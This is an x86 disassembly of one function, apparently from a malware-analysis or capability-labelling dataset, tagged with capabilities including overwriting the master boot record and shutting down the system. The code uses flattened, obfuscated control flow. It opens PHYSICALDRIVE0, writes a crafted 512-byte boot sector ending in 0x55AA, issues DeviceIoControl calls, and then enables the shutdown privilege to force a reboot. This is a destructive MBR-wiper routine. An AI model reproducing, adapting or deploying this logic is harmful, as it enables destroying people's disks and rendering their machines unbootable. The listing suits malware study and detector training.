Function at 0x100374bc
Capabilities:
Check os version
Overwrite master boot record (mbr)
Shutdown system
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [0x10192a7c]
mov ecx, dword [0x10192a80]
lea edx, [eax - 1]
imul edx, eax
test dl, 1
sete byte [ebp - 0x2d]
cmp ecx, 0xa
setl byte [ebp - 0x2e]
xor ebx, ebx
mov esi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov edi, dword [sym.imp.USER32.dll_ExitWindowsEx]
mov eax, 0x7fbb5060
cmp eax, 0xfa5523f7
jle 0x100375b2
cmp eax, 0x30f48ac0
jle 0x10037614
cmp eax, 0x59e631c4
jle 0x10037747
cmp eax, 0x727863b7
jg 0x1003788b
cmp eax, 0x673189c1
jg 0x10037ae2
cmp eax, 0x6503d133
jg 0x10037f64
cmp eax, 0x619523a6
jg 0x10038785
cmp eax, 0x59e631c5
je 0x100391d2
cmp eax, 0x60201a52
jne 0x100374f7
push dword [ebp - 0x44]
push str.SeShutdownPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x14]
mov dword [eax], 1
mov eax, dword [ebp - 0x3c]
mov dword [eax + 8], 2
mov eax, dword [ebp - 0x1c]
push ebx
push ebx
push ebx
push dword [ebp - 0x14]
push ebx
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push ebx
push 6
call edi
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb1993dee
mov ecx, 0x268d9cc2
jmp 0x10039ffe
cmp eax, 0xc326068d
jg 0x1003767e
cmp eax, 0x9eff6a04
jle 0x100377c7
cmp eax, 0xada6a15c
jg 0x100378cc
cmp eax, 0xa3011bbf
jg 0x10037b69
cmp eax, 0xa1d7213a
jg 0x10037fa2
cmp eax, 0xa0687a21
jg 0x100387b8
cmp eax, 0x9eff6a05
je 0x10039245
cmp eax, 0x9fc33168
jne 0x100374f7
mov eax, 0x994d9ef9
jmp 0x100374f7
cmp eax, 0x112ca259
jle 0x100376e8
cmp eax, 0x1e9525f7
jg 0x10037910
cmp eax, 0x194f20a4
jg 0x10037bb2
cmp eax, 0x13fe186d
jle 0x10037fe2
cmp eax, 0x154c046f
jg 0x100387d3
cmp eax, 0x144e8e32
je 0x1003924f
cmp eax, 0x14a400d7
jne 0x1003a01c
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x38421958
mov ecx, 0xfc7c2972
jmp 0x10039ffe
cmp eax, 0xd887079d
jle 0x10037826
cmp eax, 0xe4876945
jle 0x10037964
cmp eax, 0xef67d0bf
jle 0x10037be8
cmp eax, 0xf42e5ec4
jle 0x1003800d
cmp eax, 0xf7dcc72d
jg 0x10038806
cmp eax, 0xf42e5ec5
je 0x1003926c
cmp eax, 0xf6eef878
jne 0x1003a029
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd9567322
mov ecx, 0xad3e4445
jmp 0x10039ffe
cmp eax, 0x76fc5d9
jg 0x100379a5
cmp eax, 0x783036
jg 0x10037c31
cmp eax, 0xfc7c2971
jg 0x10038089
cmp eax, 0xfaa49a3c
jg 0x10038839
cmp eax, 0xfa5523f8
je 0x10039289
cmp eax, 0xfa973bfd
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbca8da91
mov ecx, 0xd9f95ffb
jmp 0x10039ffe
cmp eax, 0x4498568f
jle 0x100379e6
cmp eax, 0x534e4cce
jg 0x10037c7a
cmp eax, 0x4c3fd524
jg 0x100380c7
cmp eax, 0x4833ae57
jg 0x10038859
cmp eax, 0x44985690
je 0x100392a6
cmp eax, 0x46a096df
jne 0x100374f7
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push dword [ebp - 0x1c]
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [ebp - 0x14]
add eax, 4
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe74ecd92
mov ecx, 0x22cea6bc
jmp 0x10039ffe
cmp eax, 0x907a96cf
jle 0x10037a3a
cmp eax, 0x9797d92d
jg 0x10037cb0
cmp eax, 0x95f28d99
jg 0x10038105
cmp eax, 0x943df482
jg 0x10038879
cmp eax, 0x907a96d0
je 0x100392c3
cmp eax, 0x922f705a
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd58501da
mov ecx, 0xa914200a
jmp 0x10039ffe
cmp eax, 0xce248eae
jle 0x10037a8e
cmp eax, 0xd3ade8dd
jg 0x10037cf9
cmp eax, 0xcfe33528
jg 0x10038143
cmp eax, 0xcf71180f
jg 0x10038899
cmp eax, 0xce248eaf
je 0x100392e0
cmp eax, 0xcf3c2dc0
jne 0x100374f7
push 0
push 6
call edi
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2cf13b13
mov ecx, 0xc617af6c
jmp 0x10039ffe
cmp eax, 0x784429ea
jg 0x10037d42
cmp eax, 0x7500ebab
jg 0x1003816e
cmp eax, 0x746a1b2b
jg 0x100388b9
cmp eax, 0x727863b8
je 0x100392ea
cmp eax, 0x730511fb
jne 0x100374f7
mov eax, 0x8c0454d8
jmp 0x100374f7
cmp eax, 0xb66d8b09
jg 0x10037d8b
cmp eax, 0xb1265668
jg 0x10038199
cmp eax, 0xaee87f32
jg 0x100388d9
cmp eax, 0xada6a15d
je 0x10039307
cmp eax, 0xae3c0282
jne 0x100374f7
mov eax, dword [ebp - 0x40]
mov eax, 0xddf24620
jmp 0x100374f7
cmp eax, 0x268d9cc1
jg 0x10037dd4
cmp eax, 0x22cea6bb
jg 0x10038203
cmp eax, 0x208ecabd
jg 0x1003890c
cmp eax, 0x1e9525f8
je 0x10039324
cmp eax, 0x1ea953af
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcfa7bdcb
mov ecx, 0x727863b8
jmp 0x10039ffe
cmp eax, 0xdcbc735c
jle 0x10037e1d
cmp eax, 0xdfb965a3
jg 0x10038241
cmp eax, 0xddbaa7ed
jg 0x1003893f
cmp eax, 0xdcbc735d
je 0x10039341
cmp eax, 0xdd4a67ae
jne 0x100374f7
mov eax, 0x13381d30
jmp 0x100374f7
cmp eax, 0xc10059e
jg 0x10037e66
cmp eax, 0x8cb104c
jg 0x100382a5
cmp eax, 0x7d1d54b
jg 0x10038975
cmp eax, 0x76fc5da
je 0x1003934b
cmp eax, 0x774c3a9
jne 0x100374f7
mov eax, 0x547b058c
jmp 0x100374f7
cmp eax, 0x3c0c546a
jle 0x10037eaf
cmp eax, 0x3da644d6
jg 0x100382e3
cmp eax, 0x3d1dc5d6
jg 0x10038995
cmp eax, 0x3c0c546b
je 0x10039368
cmp eax, 0x3c7fec4f
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc6a32864
mov ecx, 0xa4116f4a
jmp 0x10039ffe
cmp eax, 0x8adde48a
jle 0x10037ee5
cmp eax, 0x8ca33c31
jg 0x1003830e
cmp eax, 0x8c0454d7
jg 0x100389b5
cmp eax, 0x8adde48b
je 0x10039372
cmp eax, 0x8bc35e2c
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x76fc5da
mov ecx, 0x34fb5047
jmp 0x10039ffe
cmp eax, 0xc6f555f6
jle 0x10037f2e
cmp eax, 0xca10d27b
jg 0x1003834c
cmp eax, 0xc886bfe4
jg 0x100389e8
cmp eax, 0xc6f555f7
je 0x1003937c
cmp eax, 0xc79d0f48
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x76fc5da
mov ecx, 0x66958d59
jmp 0x10039ffe
cmp eax, 0x6be8598c
jg 0x10038377
cmp eax, 0x69da16d4
jg 0x10038a1b
cmp eax, 0x673189c2
je 0x10039399
cmp eax, 0x67e5d51e
jne 0x100374f7
mov eax, dword [ebp - 0x2c]
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov byte [eax + 0x1fe], 0x55
mov eax, dword [ebp - 0x20]
mov byte [eax + 0x1ff], 0xaa
mov eax, dword [ebp - 0x28]
movups xmm0, xmmword [str..PHYSICALDRIVE0]
movups xmmword [eax], xmm0
mov dword [eax + 0xf], 0x304556
mov eax, dword [ebp - 0x28]
sub esp, 0x1c
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [0x1017f140]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov eax, 0xb3649228
jmp 0x100374f7
cmp eax, 0xa7e1a841
jg 0x100383b5
cmp eax, 0xa680917a
jg 0x10038a3b
cmp eax, 0xa3011bc0
je 0x100393b6
cmp eax, 0xa4116f4a
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x44985690
mov ecx, 0x76103fe2
jmp 0x10039ffe
cmp eax, 0x1cea7146
jg 0x100383f3
cmp eax, 0x1a9340cf
jg 0x10038a6e
cmp eax, 0x194f20a5
je 0x100393d3
cmp eax, 0x1a41ddd7
jne 0x100374f7
mov eax, 0x76103fe2
jmp 0x100374f7
cmp eax, 0xed057c4c
jg 0x10038431
cmp eax, 0xe5e17cb0
jg 0x10038a94
cmp eax, 0xe4876946
je 0x100393dd
cmp eax, 0xe5c4594f
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdfb965a4
mov ecx, 0xd53dd018
jmp 0x10039ffe
cmp eax, 0x4991ce0
jg 0x100384b1
cmp eax, 0x39b4912
jg 0x10038ac9
cmp eax, 0x783037
je 0x100393fa
cmp eax, 0x2d031c0
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb462b6aa
mov ecx, 0xcfe33529
jmp 0x10039ffe
cmp eax, 0x564b4b08
jg 0x100384ef
cmp eax, 0x547b058b
jg 0x10038afc
cmp eax, 0x534e4ccf
je 0x10039417
cmp eax, 0x535426c6
jne 0x100374f7
mov eax, 0x9662dafe
jmp 0x100374f7
cmp eax, 0x9a725ae2
jg 0x10038533
cmp eax, 0x99651751
jg 0x10038b2f
cmp eax, 0x9797d92e
je 0x10039434
cmp eax, 0x994d9ef9
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9fc33168
mov ecx, 0x6afa4a3a
jmp 0x10039ffe
cmp eax, 0xd6289e8f
jg 0x1003855e
cmp eax, 0xd53dd017
jg 0x10038b62
cmp eax, 0xd3ade8de
je 0x1003943e
cmp eax, 0xd4b9c603
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x44985690
mov ecx, 0x1e8509fc
jmp 0x10039ffe
cmp eax, 0x7b72bab8
jg 0x10038589
cmp eax, 0x7a3364a4
jg 0x10038b82
cmp eax, 0x784429eb
je 0x1003945b
cmp eax, 0x790d65f7
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf7905e6
mov ecx, 0x8e0e5a53
jmp 0x10039ffe
cmp eax, 0xbd4ad397
jg 0x10038606
cmp eax, 0xbbe4137b
jg 0x10038bb5
cmp eax, 0xb66d8b0a
je 0x10039468
cmp eax, 0xba07f0fe
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xef1ece1c
mov ecx, 0x874ff2c3
jmp 0x10039ffe
cmp eax, 0x2b3e54ac
jg 0x10038644
cmp eax, 0x28c50db5
jg 0x10038bd5
cmp eax, 0x268d9cc2
je 0x10039485
cmp eax, 0x27c13bac
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4991ce1
mov ecx, 0x7d1d54c
jmp 0x10039ffe
cmp eax, 0xd9f95ffa
jle 0x10038675
cmp eax, 0xdb1ca729
jg 0x10038bf5
cmp eax, 0xd9f95ffb
je 0x100394a2
cmp eax, 0xda8448e9
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8cb104d
mov ecx, 0x39b4913
jmp 0x10039ffe
cmp eax, 0xf7905e5
jle 0x100386b3
cmp eax, 0x104a83e5
jg 0x10038c28
cmp eax, 0xf7905e6
je 0x100394bf
cmp eax, 0x1006d0cd
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7b556d3e
mov ecx, 0x3f7dfa99
jmp 0x10039ffe
cmp eax, 0x34fb5046
jle 0x100386de
cmp eax, 0x391976fb
jg 0x10038c48
cmp eax, 0x34fb5047
je 0x100394c9
cmp eax, 0x38421958
jne 0x100374f7
mov eax, 0xfc7c2972
jmp 0x100374f7
cmp eax, 0x860b815f
jle 0x1003871c
cmp eax, 0x891f8348
jg 0x10038c68
cmp eax, 0x860b8160
je 0x100394e6
cmp eax, 0x874ff2c3
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xef1ece1c
mov ecx, 0x7b72bab9
jmp 0x10039ffe
cmp eax, 0xc5ac20d3
jle 0x1003875a
cmp eax, 0xc6a32863
jg 0x10038c88
cmp eax, 0xc5ac20d4
je 0x10039503
cmp eax, 0xc617af6c
jne 0x100374f7
mov eax, 0x54c1e99e
jmp 0x100374f7
cmp eax, 0x6693997b
jg 0x10038cbb
cmp eax, 0x6503d134
je 0x1003950d
cmp eax, 0x6509bc68
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x75964759
mov ecx, 0xbd4ad398
jmp 0x10039ffe
cmp eax, 0xa2b74f99
jg 0x10038cee
cmp eax, 0xa1d7213b
je 0x10039582
cmp eax, 0xa295b070
jne 0x100374f7
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push dword [ebp - 0x1c]
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [ebp - 0x14]
mov eax, 0xdb1ca72a
jmp 0x100374f7
cmp eax, 0x1260f09d
jg 0x10038d0e
cmp eax, 0x112ca25a
je 0x1003958c
cmp eax, 0x1164eea3
jne 0x100374f7
mov eax, 0x16ad80e1
jmp 0x100374f7
cmp eax, 0xf1502188
jg 0x10038d41
cmp eax, 0xef67d0c0
je 0x10039596
cmp eax, 0xf0db81ac
jne 0x100374f7
mov eax, dword [ebp - 0x2c]
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov byte [eax + 0x1fe], 0x55
mov eax, dword [ebp - 0x20]
mov byte [eax + 0x1ff], 0xaa
mov eax, dword [ebp - 0x28]
movups xmm0, xmmword [str..PHYSICALDRIVE0]
movups xmmword [eax], xmm0
mov dword [eax + 0xf], 0x304556
mov eax, dword [ebp - 0x28]
sub esp, 0x1c
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [0x1017f140]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov eax, 0x7a3364a5
jmp 0x100374f7
cmp eax, 0xff3073b2
jg 0x10038d74
cmp eax, 0xfc7c2972
je 0x100395b3
cmp eax, 0xfea9c494
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4bbb8c7f
mov ecx, 0xa3011bc0
jmp 0x10039ffe
cmp eax, 0x4e1dade2
jg 0x10038d94
cmp eax, 0x4c3fd525
je 0x100395d0
cmp eax, 0x4da70d94
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7fcb7c10
mov ecx, 0xafbbde6d
jmp 0x10039ffe
cmp eax, 0x9662dafd
jg 0x10038db4
cmp eax, 0x95f28d9a
je 0x100395da
cmp eax, 0x9605c70c
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x94b8a081
mov ecx, 0xf9a64c63
jmp 0x10039ffe
cmp eax, 0xd2c8ca11
jg 0x10038de0
cmp eax, 0xcfe33529
je 0x100395f7
cmp eax, 0xd0e0bb84
jne 0x100374f7
mov eax, 0xbf45023c
jmp 0x100374f7
cmp eax, 0x76103fe1
jg 0x10038e00
cmp eax, 0x7500ebac
je 0x10039614
cmp eax, 0x75964759
jne 0x100374f7
mov eax, 0xbd4ad398
jmp 0x100374f7
cmp eax, 0xb3649227
jg 0x10038e33
cmp eax, 0xb1265669
je 0x1003961e
cmp eax, 0xb1993dee
jne 0x100374f7
push dword [ebp - 0x44]
push str.SeShutdownPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x14]
mov dword [eax], 1
mov eax, dword [ebp - 0x3c]
mov dword [eax + 8], 2
mov eax, dword [ebp - 0x1c]
push ebx
push ebx
push ebx
push dword [ebp - 0x14]
push ebx
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push ebx
push 6
call edi
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, 0x60201a52
jmp 0x100374f7
cmp eax, 0x23ba9c1c
jg 0x10038e53
cmp eax, 0x22cea6bc
je 0x10039628
cmp eax, 0x23a885cf
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9797d92e
mov ecx, 0xc39d494b
jmp 0x10039ffe
cmp eax, 0xe136e2e4
jg 0x10038e86
cmp eax, 0xdfb965a4
je 0x10039645
cmp eax, 0xe0046556
jne 0x100374f7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
sub esp, 0x20
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [0x1017f130]
movups xmmword [esp + 4], xmm0
mov dword [esp], ecx
call esi
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9a725ae3
mov ecx, 0xda8448e9
jmp 0x10039ffe
cmp eax, 0x8e66818
jg 0x10038eb9
cmp eax, 0x8cb104d
je 0x10039655
cmp eax, 0x8e05348
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd2c8ca12
mov ecx, 0x3da644d7
jmp 0x10039ffe
cmp eax, 0x3f7dfa98
jg 0x10038ef2
cmp eax, 0x3da644d7
je 0x10039672
cmp eax, 0x3e1cfb59
jne 0x100374f7
mov eax, 0xada6a15d
jmp 0x100374f7
cmp eax, 0x8e0e5a52
jg 0x10038f25
cmp eax, 0x8ca33c32
je 0x1003968f
cmp eax, 0x8cfb74d6
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3e1cfb59
mov ecx, 0xada6a15d
jmp 0x10039ffe
cmp eax, 0xcce11cdd
jg 0x10038f58
cmp eax, 0xca10d27c
je 0x1003969f
cmp eax, 0xcbce9fce
jne 0x100374f7
mov eax, 0x8e6370a2
jmp 0x100374f7
cmp eax, 0x6eb3a9dd
jg 0x10038f8b
cmp eax, 0x6be8598d
je 0x100396c2
cmp eax, 0x6d71e265
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9605c70c
mov ecx, 0x80be2175
jmp 0x10039ffe
cmp eax, 0xad3e4444
jg 0x10038fbe
cmp eax, 0xa7e1a842
je 0x100396cc
cmp eax, 0xa914200a
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd58501da
mov ecx, 0x208ecabe
jmp 0x10039ffe
cmp eax, 0x1e3d445f
jg 0x10038fde
cmp eax, 0x1cea7147
je 0x100396dc
cmp eax, 0x1d07f5dd
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4e1dade3
mov ecx, 0x9c6b1434
jmp 0x10039ffe
cmp eax, 0xedfa9feb
jg 0x10039011
cmp eax, 0xed057c4d
je 0x100396f9
cmp eax, 0xedabdd42
jne 0x100374f7
push ebx
push dword [ebp - 0x24]
push 0x200
push dword [ebp - 0x2c]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
sub esp, 0x20
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [0x1017f120]
movups xmmword [esp + 4], xmm0
mov dword [esp], ecx
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov eax, 0x6503d134
jmp 0x100374f7
cmp eax, 0x623221a
jg 0x10039031
cmp eax, 0x4991ce1
je 0x10039716
cmp eax, 0x5dbebe8
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf7dcc72e
mov ecx, 0x1164eea3
jmp 0x10039ffe
cmp eax, 0x594980cf
jg 0x10039064
cmp eax, 0x564b4b09
je 0x10039720
cmp eax, 0x567ec649
jne 0x100374f7
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x54]
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd6422ddb
mov ecx, 0x999bba53
jmp 0x10039ffe
cmp eax, 0x9c6b1433
jg 0x100390a9
cmp eax, 0x9a725ae3
je 0x1003973d
cmp eax, 0x9b065420
jne 0x100374f7
mov eax, 0x1260f09e
jmp 0x100374f7
cmp eax, 0xd64fad21
jg 0x100390dc
cmp eax, 0xd6289e90
je 0x1003976d
cmp eax, 0xd6422ddb
jne 0x100374f7
mov eax, 0x999bba53
jmp 0x100374f7
cmp eax, 0x7fbb505f
jg 0x1003910f
cmp eax, 0x7b72bab9
je 0x1003978a
cmp eax, 0x7d27c122
jne 0x100374f7
push dword [ebp - 0x44]
push str.SeShutdownPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x14]
mov dword [eax], 1
mov eax, dword [ebp - 0x3c]
mov dword [eax + 8], 2
mov eax, dword [ebp - 0x1c]
push ebx
push ebx
push ebx
push dword [ebp - 0x14]
push ebx
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push ebx
push 6
call edi
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x104a83e6
mov ecx, 0x8a24fc79
jmp 0x10039ffe
cmp eax, 0xc07a44b5
jg 0x10039143
cmp eax, 0xbd4ad398
je 0x100397a0
cmp eax, 0xbf45023c
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd0e0bb84
mov ecx, 0x28c50db6
jmp 0x10039ffe
cmp eax, 0x2eaeeebb
jg 0x10039180
cmp eax, 0x2b3e54ad
je 0x100397bd
cmp eax, 0x2cf13b13
jne 0x100374f7
push 0
push 6
call edi
mov eax, 0xcf3c2dc0
jmp 0x100374f7
cmp eax, 0xd90b5929
jle 0x10039195
cmp eax, 0xd90b592a
je 0x100397c7
cmp eax, 0xd9567322
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2cf13b13
mov ecx, 0xcf3c2dc0
jmp 0x10039ffe
cmp eax, 0xce7390a
jg 0x100391aa
cmp eax, 0xc10059f
je 0x100397e4
cmp eax, 0xcbd5bba
jne 0x100374f7
mov eax, 0x534e4ccf
jmp 0x100374f7
cmp eax, 0x30f48ac1
je 0x10039827
cmp eax, 0x32c0ff37
je 0x10039844
cmp eax, 0x336629d8
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa295b070
mov ecx, 0xdb1ca72a
jmp 0x10039ffe
cmp eax, 0x80be2175
je 0x10039861
cmp eax, 0x814e954f
je 0x1003987e
cmp eax, 0x8516c2d4
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf7905e6
mov ecx, 0x790d65f7
jmp 0x10039ffe
cmp eax, 0xc326068e
je 0x1003989b
cmp eax, 0xc39d494b
je 0x100398cb
cmp eax, 0xc3e32d5a
jne 0x100374f7
mov eax, 0x23ba9c1d
jmp 0x100374f7
cmp eax, 0x619523a7
je 0x100398e8
cmp eax, 0x62bbbda6
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9d966937
mov ecx, 0x8516c2d4
jmp 0x10039ffe
cmp eax, 0xa0687a22
je 0x10039905
cmp eax, 0xa16e79e1
je 0x10039176
jmp 0x100374f7
cmp eax, 0x154c0470
je 0x1003992a
cmp eax, 0x16ad80e1
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xce248eaf
mov ecx, 0xc9983f40
jmp 0x10039ffe
cmp eax, 0xf7dcc72e
je 0x10039947
cmp eax, 0xf9a64c63
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x94b8a081
mov ecx, 0x394e43cb
jmp 0x10039ffe
cmp eax, 0xfaa49a3d
je 0x10039951
cmp eax, 0xfbff9f82
jne 0x100374f7
mov eax, 0xf1c0b9ae
jmp 0x100374f7
cmp eax, 0x4833ae58
je 0x1003996e
cmp eax, 0x4bbb8c7f
jne 0x100374f7
mov eax, 0xa3011bc0
jmp 0x100374f7
cmp eax, 0x943df483
je 0x1003998b
cmp eax, 0x94b8a081
jne 0x100374f7
mov eax, 0xf9a64c63
jmp 0x100374f7
cmp eax, 0xcf711810
je 0x100399a8
cmp eax, 0xcfa7bdcb
jne 0x100374f7
mov eax, 0x1ea953af
jmp 0x100374f7
cmp eax, 0x746a1b2c
je 0x100399c5
cmp eax, 0x74d92314
jne 0x100374f7
mov eax, 0xd90b592a
jmp 0x100374f7
cmp eax, 0xaee87f33
je 0x100399e2
cmp eax, 0xafbbde6d
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x245a6ff8
mov ecx, 0x3fee52f5
jmp 0x10039ffe
cmp eax, 0x208ecabe
je 0x100399f2
cmp eax, 0x21ad86cb
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4f0d269f
mov ecx, 0xe4876946
jmp 0x10039ffe
cmp eax, 0xddbaa7ee
je 0x10039a0f
cmp eax, 0xddf24620
jne 0x100374f7
mov eax, dword [ebp - 0x40]
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xae3c0282
mov ecx, 0xc5ac20d4
jmp 0x10039ffe
cmp eax, 0x7d1d54c
je 0x10039a2c
cmp eax, 0x83bb354
jne 0x100374f7
mov eax, 0x922f705a
jmp 0x100374f7
cmp eax, 0x3d1dc5d7
je 0x10039a49
cmp eax, 0x3d91453b
jne 0x100374f7
mov eax, 0xfa5523f8
jmp 0x100374f7
cmp eax, 0x8c0454d8
je 0x10039a66
cmp eax, 0x8c1fefd3
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd0e0bb84
mov ecx, 0xbf45023c
jmp 0x10039ffe
cmp eax, 0xc886bfe5
je 0x10039a8f
cmp eax, 0xc9983f40
jne 0x100374f7
mov eax, dword [0x10192a7c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xce248eaf
mov ecx, 0x907a96d0
jmp 0x10039ffe
cmp eax, 0x69da16d5
je 0x10039a99
cmp eax, 0x6afa4a3a
jne 0x100374f7
mov eax, 0xcf711810
jmp 0x100374f7
cmp eax, 0xa680917b
je 0x10039176
cmp eax, 0xa796e37d
jne 0x100374f7
